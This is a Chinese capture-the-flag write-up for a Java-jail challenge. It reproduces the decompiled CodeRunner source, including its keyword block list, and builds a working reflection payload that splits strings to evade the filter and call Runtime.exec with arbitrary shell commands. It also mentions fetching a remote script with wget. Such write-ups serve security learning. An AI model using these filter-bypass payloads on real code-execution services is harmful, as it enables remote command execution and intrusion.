wbex1
题干给的一个web环境打开是一个输入框,初步猜测可能是类似SSTI的模板注入,但又看到附件是jar类型,那么大概率就是jvmjail了,直接下载,把jar拖到jdgui去反编译,得到源码

其中Main作为主入口,设定路由函数和tomcat端口,我们可以知道后端传参的地址。CodeRunner为主要功能。
直接来看源码
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.attribute.FileAttribute;
import java.util.UUID;
import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
import java.util.stream.Collectors; //一大堆无需理会的包导入
public class CodeRunner {
private static final String[] BLACKLIST_KEYWORDS = new String[]{
"Runtime", "ProcessBuilder", "exec", "File", "Path", "Files",
"Reader", "Writer", "Stream", "Socket", "URL", "URLConnection",
"Http", "Class", "ClassLoader", "forName", "System",
"ScriptEngine", "javax.script", "command", "new", "inheritIO", "String"
}; //这里限制了黑名单,对后面构造payload有影响
private static final Pattern BLACKLIST_PATTERN;
private static String getOutput(InputStream stream) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(stream));
try {
return reader.lines().collect(Collectors.joining("\n"));
} finally {
reader.close();
}
} //读取输入
public static String compileAndRun(String comeIn) {
try {
if (BLACKLIST_PATTERN.matcher(comeIn).matches()) {
return "what do you want to do?";
} //黑名单判断
Path tempDir = Files.createTempDirectory(
"user_code_" + UUID.randomUUID(),
new FileAttribute<?>[0]
);
Path sourceFile = tempDir.resolve("DynamicCode.java"); //创建待编译源码
String sourceCode = //源码内容如下
"import java.util.*;\n" +
"import java.io.*;\n" +
"import java.lang.reflect.*;\n" + //注意这里 大概率是暗示我们要用到反射
"\n" +
"class Environment {\n" +
" private static final Object[] context = {\n" +
" \"AppVersion: 1.0\",\n" +
" new java.util.Random(),\n" +
" new ProcessBuilder(),\n" + //←重点!!! 这个内置的ProcessBuilder非常危险且重要
" \"AppId: 55201141\",\n" +
" \"AppSecret: vidar{fake_f4k3_F1Ag}\",\n" + //假的flag无需理会
" };\n" +
"\n" +
" public static Object getContext(int index) {\n" +
" return context[index];\n" +
" }\n" +
"}\n" +
"\n" +
"public class DynamicCode {\n" +
" public static void main(String[] args) throws Exception {\n" +
" Object result = " + comeIn + ";\n" +
" if (result instanceof Number) {\n" +
" System.out.println(result);\n" +
" } else if (result != null) {\n" +
" System.out.println(\"success\");\n" + //注意这里,说明输出的时候只会输出数字
" } else {\n" + //如果输出结果是非数字会直接success
" System.out.println(\"\");\n" +
" }\n" +
" }\n" +
"}";
Files.writeString(sourceFile, sourceCode);
// compile user code
ProcessBuilder compileB = new ProcessBuilder("javac", sourceFile.toString());
Process compilePr = compileB.start();
if (!compilePr.waitFor(5L, TimeUnit.SECONDS)) {
compilePr.destroyForcibly();
return "compile time out"; //编译源码 限时五秒钟
}
String comError = getOutput(compilePr.getErrorStream());
if (!comError.isEmpty()) {
return "compile error:\n" + comError; //输出编译报错信息
}
// run compiled code
ProcessBuilder runB = new ProcessBuilder(
"java", "-cp", tempDir.toString(), "DynamicCode" //通过ProcessBuilder创建新线程运行源码
);
Process runPr = runB.start();
if (!runPr.waitFor(5L, TimeUnit.SECONDS)) {
runPr.destroyForcibly();
return "time out";
}
String errorOut = getOutput(runPr.getErrorStream());
if (!errorOut.isEmpty()) {
return "run error:\n" + errorOut;
}
return "Execution Successful:\n" + getOutput(runPr.getInputStream());
} catch (Exception e) {
return "server error: " + e;
}
}
static {
String patternString = ".*\\b(" + String.join("|", BLACKLIST_KEYWORDS) + ")\\b.*";
BLACKLIST_PATTERN = Pattern.compile(patternString); //!!!注意这里对匹配规则 是逐单词匹配
}
}
根据上述源码分析,大概率是要我们利用java的反射来构造payload了,已知这些不能用:
"Runtime", "ProcessBuilder", "exec", "File", "Path", "Files", "Reader", "Writer", "Stream", "Socket", "URL", "URLConnection", "Http", "Class", "ClassLoader", "forName", "System", "ScriptEngine", "javax.script", "command", "new", "inheritIO", "String"
但是存在一个new ProcessBuilder(),并且放在Environment.getContext(2)的位置。
常规情况下构造payload:
Runtime.getRuntime().exec("command");
//Runtime.getRuntime().exec()是Java中用于启动外部程序或执行系统命令的方法。
//这个方法通过创建一个子进程来执行指定的命令,并返回一个Process&]对象该对象可以用来控制子进程或获取子进程的信息。
//这个功能在Windows中类似于“运行”命令。
但是很明显在这里Runtime,exec在黑名单里面,我们必须要利用反射调用获取Runtime,以及执行exec方法
1.获取类 这里我们通常会用到 Class.forName 来动态调用类
理解Class对象和Class.forName
每个Java类都有一个与之关联的Class对象,它包含了该类的元信息,如类的成员、方法等。当编译一个Java类时,会生成一个Class对象,并将其保存在一个与类同名的.class文件中。这个Class对象是由Java虚拟机在加载类时自动构造的,因为Class类没有公共构造方法,所以不能显式创建Class对象。
Class.forName方法接受一个字符串参数,该字符串表示类的全限定名。当调用此方法时,Java虚拟机会查找并加载指定的类。如果类中包含静态代码块,那么这些代码也会被执行。这是因为静态代码块是在类加载时执行的。
2.获取方法 在这里通常用到 .getMethod(String 方法名, Class<?>… 参数类型)
3.调用方法 .invoke(null)
payload构建
1. 尝试绕过Runtime类
鉴于之前的Runtime、Class都在黑名单里面,因此我们使用Class.forName的绕过方法并不可行,可以尝试:
java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime")
这里使用了当前线程的上下文类加载器,其中 .loadClass() 方法让你用字符串名字动态加载类,而不是写字面 Runtime。
这里用到了字符串拼接的方法绕过黑名单检查
每个 Java 线程都有一个属性叫
contextClassLoader,类型是ClassLoader。
你能通过:Thread.currentThread().getContextClassLoader()
获取到这个类加载器。因此我们可以用这个来加载类,并获取到一个Runtime对象
2.尝试调用getRuntime方法
直接getRuntime肯定会触发黑名单拦截,因此也需要绕过。这里我们使用getMethod方法
java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime")
.getMethod("getRun"+"time") //同样的字符串绕过
3.尝试调用 getRuntime() 获取实例
java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime")
.getMethod("getRun"+"time")
.invoke(null)
invoke() 用来实际执行方法。
如果方法是静态的,第一个参数(执行目标对象)可以是 null。
在这里返回的是 java.lang.Runtime 对象的实例。
4.尝试获取exec方法
exec是一种实例方法,调用时要先获取到他的类,在调用方法
java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime")
.getMethod("getRun"+"time")
.invoke(null)
.getClass() //获取类
.getMethod("ex" + "ec",
java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.St" + "ring") //获取String类
) //获取方法
这里的java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.St" + "ring")
这里我当时有个疑惑,为什么在这里的的getMethod(“exe”+"c")后面多了一串类,原因我这里直接般GPT了
非常好的问题 👏,
你抓到 Java 反射调用里最容易让初学者疑惑的一个细节——为什么有的方法需要传递参数类型数组(如exec(String) ),而有的则不用(如getRuntime() )?我们一步步解释。
🧩 一、反射方法回顾
在 Java 反射中,你调用某个类的 getMethod() 有两种常见形式:
// ① 无参数方法
Class<?> clazz = SomeClass.class;
Method m = clazz.getMethod("methodName");
// ② 带参数方法
Method m = clazz.getMethod("methodName", 参数类型1, 参数类型2, ...);
即:
-
getMethod(String name, Class<?>... parameterTypes) - 第一个是方法名,后面是方法的参数类型列表。
🧩 二、为何 getRuntime() 不需要第二个参数?
因为 Runtime.getRuntime() 的签名是:
public static Runtime getRuntime()
也就是说,它 不接受任何参数。
那反射调用时我们只需要告诉反射引擎“我想要这个完全不带参数的方法”,自然就写成:
getMethod("getRuntime")
✔ 没有参数类型;因为它本身就是 无参 的。
🧩 三、而 exec() 就不同了
exec() 在 Runtime 类中有多个重载版本:
public Process exec(String command)
public Process exec(String[] cmdArray)
public Process exec(String command, String[] envp)
public Process exec(String[] cmdArray, String[] envp)
public Process exec(String command, String[] envp, File dir)
...
也就是说,exec() 不是“唯一”的方法名;
它有重载,因此你必须告诉 Java 反射系统:
我要的是哪一个 exec() (参数类型是什么?)
🔍 四、在反射中“唯一确定一个重载方法”
当存在方法重载时,getMethod() 第二个参数就用来指定参数类型匹配:
// exec(String)
clazz.getMethod("exec", String.class)
如果方法不带参数(如 getRuntime),那自然就不需要传。
⚙️ 五、那为什么我们没法直接写 String.class ?
因为你的题目中 "String" 被列入黑名单:
"Runtime", "exec", "File", ..., "String"
只要代码里出现了完整单词 String ,就被阻拦。
所以在这步才要靠:
Thread.currentThread().getContextClassLoader().loadClass("java.lang.St"+"ring")
这样做是等价的:
- 编译层面未出现
String.class字样; - 运行时仍然返回了那个
Class对象。
✅ 六、总结成一句话
| 方法名 | 方法签名 | 是否传参数类型 |
|---|---|---|
getRuntime() |
Runtime getRuntime() |
❌ 无参,不需要 |
exec() |
Process exec(String command) |
✅ 需要指定参数类型,否则反射不知道选哪一个重载 |
🌱 补充:当有参数时的完整反射调用流程
Class<?> runtimeCls = Thread.currentThread().getContextClassLoader()
.loadClass("java.lang.Runtime");
// 无参数方法
Method m1 = runtimeCls.getMethod("getRunt" + "ime");
// 带参数重载方法
Class<?> stringCls = Thread.currentThread().getContextClassLoader()
.loadClass("java.lang.St" + "ring");
Method m2 = runtimeCls.getMethod("ex" + "ec", stringCls);
因此:
你上一步没传参数类型数组,是因为
getRuntime() 本来就不带参数。
而exec() 有参数,并且还存在多个重载——所以需要精确指定参数类型。
5.尝试调用exec并执行命令
java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime")
.getMethod("getRun"+"time")
.invoke(null)
.getClass()
.getMethod("ex" + "ec",
java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.St" + "ring")
)
.invoke( //注意这里
java.lang.Thread.currentThread()
.getContextClassLoader()
.loadClass("java.lang.Runt" + "ime")
.getMethod("getRunt" + "ime")
.invoke(null), //返回一个Runtime对象
"bash fuck.sh"
)
为什么在这里的invoke里面不是直接的"bash fuck.sh"?
因为在这里的exec是一个实例方法,而不是静态方法,在invoke的时候必须注明对象
Method.invoke(Object obj, Object… args)是正确的使用方法
最后完整的payload:
((java.lang.Process)java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime").getMethod("getRunt" + "ime").invoke(null).getClass().getMethod("ex" + "ec", java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.St" + "ring")).invoke(java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime").getMethod("getRunt" + "ime").invoke(null), "bash getflag.sh"))
这样就构造完了payload,可以用这个来执行任意命令,但是我尝试使用echo等写入touch创建好的sh脚本发现没有办法写入?
可能是权限不够,不过还好这题可以出网,我们使用wget命令从其他服务器下载我们的sh脚本,在sh脚本里面把命令执行的结果输出到指定文件
#get ls -la
ls -la / > file_list.txt
#get flag
cat /flag.txt flag.txt
保存在服务器上wget远程下载执行即可 访问靶机指定文件就可以拿到flag
其实也可以用supershell等工具来完成flag获取 可能更快捷
注:我发现到最后其实也没有用到new ProcessBuilder 可能还需要去找找更多解法

绕过黑名单检查
{
"expression": "java.lang.reflect.Array.newInstance(Environment.getContext(0).getClass(), 0).getClass()"
} 获得String
绕过String
{
"expression": "Environment.getContext(2).getClass().getMethod(\"com\"+\"mand\", java.lang.reflect.Array.newInstance(Environment.getContext(0).getClass(), 0).getClass()) != null"
} 确认存在command方法 并且绕过了 String
((java.lang.Process)java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime").getMethod("getRunt" + "ime").invoke(null).getClass().getMethod("ex" + "ec", java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.St" + "ring")).invoke(java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime").getMethod("getRunt" + "ime").invoke(null), "mkdir 123"))
成功的创建了一个文件夹